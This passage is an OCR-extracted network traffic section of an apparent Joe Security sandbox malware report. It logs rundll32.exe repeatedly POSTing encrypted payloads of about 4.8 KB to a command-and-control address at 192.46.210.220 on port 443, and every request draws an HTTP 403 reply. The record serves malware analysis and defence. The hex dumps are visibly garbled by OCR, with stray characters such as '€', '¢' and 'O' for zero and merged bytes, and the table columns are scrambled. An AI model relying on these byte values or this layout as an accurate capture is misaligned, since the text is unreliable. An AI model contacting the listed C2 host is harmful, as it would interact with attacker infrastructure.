2021-10-28 02:59:05 UTC 159

2021-10-28 02:59:05 UTC 159

2021-10-28 02:59:06 UTC 164

Session ID Source IP

33 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:06 UTC 164

2021-10-28 02:59:06 UTC 164

2021-10-28 02:59:07 UTC 169

Session ID Source IP

34 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:09 UTC 169

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49892

Direction

ouT

ouT

Source Port
49894

Direction
ouT

ouT

Source Port
49901

Direction

ouT

Data

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 la
4998 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec €5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIALmS#Qf$Z: [>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:03 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f ch 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a838b1948efc27018900f27871a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:06 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP  Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1la
4998 d0 cd 3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:07 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:59:09 UTC 169

2021-10-28 02:59:09 UTC 174

Session ID Source IP

35 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:10 UTC 174

2021-10-28 02:59:10 UTC 174

2021-10-28 02:59:11 UTC 179

Session ID Source IP

36 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:13 UTC 179

2021-10-28 02:59:13 UTC 179

2021-10-28 02:59:13 UTC 184

Session ID Source IP

37 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:14 UTC 184

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49903

Direction

ouT

ouT

Source Port
49909

Direction
ouT

ouT

Source Port
49911

Direction

ouT

Data

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd 9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8¢ 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢c
a8 38 b1 94 8e fc 27 0189 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(iIMFVz @*mRk7k7;Sg Arl]>pL2LeTc]#*ol+$.{5:lhkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:09 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
0556 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be 7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a838 b1 94 8efc27 01890027871 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTc]#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:11 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 ¢9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a 7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c
a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:13 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:59:14 UTC 184

2021-10-28 02:59:15 UTC 189

Session ID Source IP

38 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:17 UTC 189

2021-10-28 02:59:17 UTC 189

2021-10-28 02:59:17 UTC 194

Session ID Source IP

39 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:18 UTC 194

2021-10-28 02:59:18 UTC 194

2021-10-28 02:59:18 UTC 199

Session ID Source IP

4 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:58:08 UTC 19

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49917

Direction

ouT

ouT

Source Port
49919

Direction
ouT

ouT

Source Port
49767

Direction

ouT

Data

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1la
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiIALmS#Qf$Z: [>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:15 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 €9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a8 38b1948efc27018900f27871a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:17 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 la
4998 d0 cd 3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:18 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:58:08 UTC 20

2021-10-28 02:58:09 UTC 24

Session ID Source IP

40 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:21 UTC 199

2021-10-28 02:59:21 UTC 199

2021-10-28 02:59:21 UTC 204

Session ID Source IP

41 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:22 UTC 204

2021-10-28 02:59:22 UTC 204

2021-10-28 02:59:22 UTC 209

Session ID Source IP

42 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:25 UTC 209

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49925

Direction

ouT

ouT

Source Port
49927

Direction
ouT

ouT

Source Port
49936

Direction

ouT

Data

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd 9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8¢ 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec €5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a8 38 b1 94 8e fc 27 0189 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(iIMFVz @*mRk7k7;Sg Arl]>pL2LeTc]#*ol+$.{5:lhkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:58:09 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec 5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f ch 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢
a838b1948efc27018900f27871a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(IMFVz @*mRk7k7;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:21 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 la a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 la
4998 d0 cd 3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 ¢8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 el 46
d0 8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a

Data Ascii: f\V?LsBRfoH(IMFVz @*mRk7kV;Sg Arl]>pL2LeTcl#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFIA1mS#Qf$Z:"]>hd68'xqz
HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:22 GMT

Content-Type: text/plain; charset=utf-8

Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST / HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache
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kBytes
Timestamp transferred

2021-10-28 02:59:25 UTC 209

2021-10-28 02:59:25 UTC 214

Session ID Source IP

43 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:26 UTC 214

2021-10-28 02:59:26 UTC 214

2021-10-28 02:59:26 UTC 219

Session ID Source IP

44 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:29 UTC 219

2021-10-28 02:59:29 UTC 219

2021-10-28 02:59:29 UTC 224

Session ID Source IP

45 192.168.2.6
kBytes

Timestamp transferred

2021-10-28 02:59:30 UTC 224

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49941

Direction

ouT

ouT

Source Port
49961

Direction
ouT

ouT

Source Port
49967

Direction

ouT

Data

Data Raw: 46 8c 83 6e 10 08 27 a5 5¢ b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd 9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8¢ 00 53 ff 67 eb 60 f6 41 72 31 97 dO 5d 17 8c 3e 91 70 4c 32 4c 65 54 ¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec €5 70 19 be 24 33
21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1l cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be {7 bb c5 89 e5 el 46 dO
8d d5 1e 0a 93 8¢ 69 b6 41 8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9¢c
a8 38 b1 94 8e fc 27 0189 00 f2 78 71 a6 14 7a

Data Ascii: Fn'\V?LsBRfoH(iIMFVz @*mRk7k7;Sg Arl]>pL2LeTc]#*ol+$.{5:lhkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"1>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:25 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process

192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4850
Connection: Close
Cache-Control: no-cache

Data Raw: e3 Ob 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66
6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b
0556 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a
49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 ¢5 35 3a b3 94 49 02 cb 9a 68 Oa cf 6b b4 a2 ec e5 70 19 be 24
3321 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5¢ 75 b1 cc 6f fd 37 Oc 85 1b b4 e9 c8 37 cc f0 0a a2 70 be 7 bb ¢5 89 e5 el 46
d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36
9c a838 b1 94 8efc27018900f27871a6 14 7a

Data Ascii: f\V?LsBRfoH(iIMFVz @*mRk7kV;Sg Arl]>pL2LeTc]#*ol+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:"]>hd68'xqz

HTTP/1.1 403 Forbidden

Server: nginx/1.15.12

Date: Thu, 28 Oct 2021 02:59:26 GMT
Content-Type: text/plain; charset=utf-8
Connection: close

Destination IP Destination Port Process
192.46.210.220 443 C:\Windows\SysWOW64\rundll32.exe

Data

POST /HTTP/1.1

Host: 192.46.210.220
Content-Length: 4862
Connection: Close
Cache-Control: no-cache

Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 ¢9 8b 52 90 1a a4 a0 eb 66 6f
05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 Ob 4d 46 56 7a df Of 20 40 2a 7 6d aa 9c 52 11 f1 6b 95 08 €9 d6 37 6b 05
37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8¢ 3e 91 70 4c 32 4c 65 54 c¢8 63 97 5d 23 fa 2a 14 6f de d4 1a 49
